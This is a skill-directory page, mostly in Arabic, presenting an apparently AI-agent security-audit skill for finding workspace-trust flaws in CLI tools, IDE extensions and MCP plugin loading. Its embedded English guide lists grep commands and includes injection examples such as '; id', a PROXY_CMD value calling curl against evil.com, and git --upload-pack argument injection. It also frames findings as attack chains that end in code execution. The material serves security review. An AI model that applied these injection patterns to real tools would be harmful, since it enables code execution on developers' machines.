Skillpedia
الأمان6.5k · #13979

trust-boundary-analysis

ما الذي تفعله

هذه المهارة دليل تدقيق لأدوات سطر الأوامر وإضافات بيئات التطوير وأنظمة الإضافات التي تقرأ الإعدادات من المجلد الحالي. وهي موجهة للمطورين ومراجعي الأمان الذين يفحصون طريقة بدء أدواتهم.

متى تستخدمها

  • ✓عندما يطلب مطور من الوكيل التحقق من أن أداة سطر أوامر أو بيئة تطوير لا تثق بملفات الإعدادات في أي مجلد تفتحه.
  • ✓عندما يتتبع الوكيل ترتيب بدء تشغيل الأداة ليعرف أي إعداد يُطبَّق أولاً بين إعدادات المشروع وإعدادات المستخدم.
  • ✓عندما يراجع فريق نظام إضافات يحمّل شيفرة أو خوادم MCP من مجلد المشروع.

رابط المهارة

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“هل يمكن لأداة التطوير لدينا أن تشغّل أوامر من ملف إعدادات داخل مجلد مشروع فتحه المستخدم للتو؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يتتبع الوكيل طريقة بحث الأداة عن ملفات الإعدادات، ويرسم ترتيب تحميلها، ويتحقق مما إذا كانت ملفات المشروع موثوقة قبل تشغيل أي أمر منها.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Trust Boundary Analysis

This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.

When to Use

Apply this skill when the target:

  • Loads .env, settings.json, or config files from the current working directory
  • Has a plugin/extension system that auto-discovers and loads code
  • Spawns child processes with configuration-controlled commands
  • Is a CLI tool, IDE extension, language server, or build tool
  • Uses MCP (Model Context Protocol) servers configured via project files

Startup Sequence Audit

For any CLI tool or developer application, trace the full initialization:

1. Config file discovery

grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
  /workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'

Map the search order. Common dangerous patterns:

  • cwd/.tool/config.json → cwd/.env → ~/.tool/config → /etc/tool/config
  • If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.

Record each config loading point:

kg_add_node("code_location", "loadConfig() reads .env from cwd",
  props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})

2. Environment variable injection

grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
  --include='*.py' --include='*.rs' /workspace/target/src/

Check: Are env vars from .env files injected into process.env? Which vars control dangerous behavior? Look for:

  • *_COMMAND, *_CMD, *_EXEC → shell execution
  • *_PROXY → SSRF / network interception
  • *_PATH, *_DIR → path traversal
  • *_URL → open redirect / SSRF
  • DEBUG, NODE_ENV → bypass security controls

3. Workspace trust check

grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
  --include='*.js' /workspace/target/src/

Look for the pattern:

// DANGEROUS: trust disabled by default
if (!settings.folderTrustEnabled) {
  return { isTrusted: true };  // ← All workspaces trusted
}

If no trust check exists, every config is loaded blindly. This is the root cause.

4. Command execution from config

grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
  --include='*.ts' --include='*.js' --include='*.py' /workspace/target/src/

For each spawn/exec call, check:

  • Is shell: true set? → shell injection via crafted values
  • Does the command come from config? → attacker-controlled execution
  • Is there any validation/allowlist on the command?

5. Plugin/tool auto-discovery

grep -rn 'discoverTools\|loadPlugins\|autoDiscover\|mcpServers\|toolDiscovery' \
  --include='*.ts' --include='*.js' /workspace/target/src/

Check: Are plugins/tools loaded from project-level config BEFORE any user confirmation? MCP servers, language server plugins, and build tool extensions are common vectors.

Trust Boundary Graph Modeling

Map the attack flow as a chain in the knowledge graph:

ENTRYPOINT (malicious .env file in cloned repo)
  → enables → ENV_INJECT (process.env poisoned)
    → enables → SHELL_EXEC (spawn with shell:true)
      → reaches → CROWN_JEWEL (arbitrary code execution)

Use low edge weights (0.2–0.4) for automatic/silent steps. Use higher weights (1.0+) for steps requiring user interaction.

Then call plan_attack_chains(top_k=5) to surface the cheapest paths.

Shell Quoting Vulnerabilities

When config values flow into shell commands, check for:

  1. Direct interpolation: `command ${userValue}` → injection via ; id
  2. Single-quote escape: osascript -e '${path}' → escape via ' in path
  3. Env var in shell context: PROXY_CMD="curl evil.com" → executed as-is
  4. Argument injection: spawn('git', ['clone', userUrl]) → --upload-pack= prefix

For each, the PoC pattern is:

  • Craft input that breaks out of the quoting context
  • Inject a command that proves execution (id, env, write a sentinel file)
  • Use validate_finding with the sentinel as the success pattern

Negative Control

Always test: does the same code path execute WITHOUT the malicious config? The negative control is the same operation with a clean/empty config directory. If the behavior occurs regardless, it's no

الأسئلة الشائعة

لماذا يهم المجلد الحالي؟

تقول المهارة إن مجلد المشروع قد يحتوي على إعدادات تحملها الأداة تلقائياً، فقد يؤثر مستودع معادٍ في المستخدم.

ما هي الثقة بمساحة العمل؟

تصفها المهارة بأنها فحص يسأل هل المجلد موثوق قبل استخدام إعداداته أو إضافاته.

على أي أدوات تنطبق هذه المهارة؟

تذكر المهارة أدوات المطورين وأدوات سطر الأوامر وإضافات بيئات التطوير وخوادم اللغة وأدوات البناء التي تقرأ إعدادات المشروع.

التفاصيل

الوصف الأصلي من المؤلف

Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.

repo: BitterSecurity/Decepticon

الشعبية

نجوم GitHub
6.5k
الترتيب
#13979
الترخيص
Apache-2.0
آخر تحديث
1‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة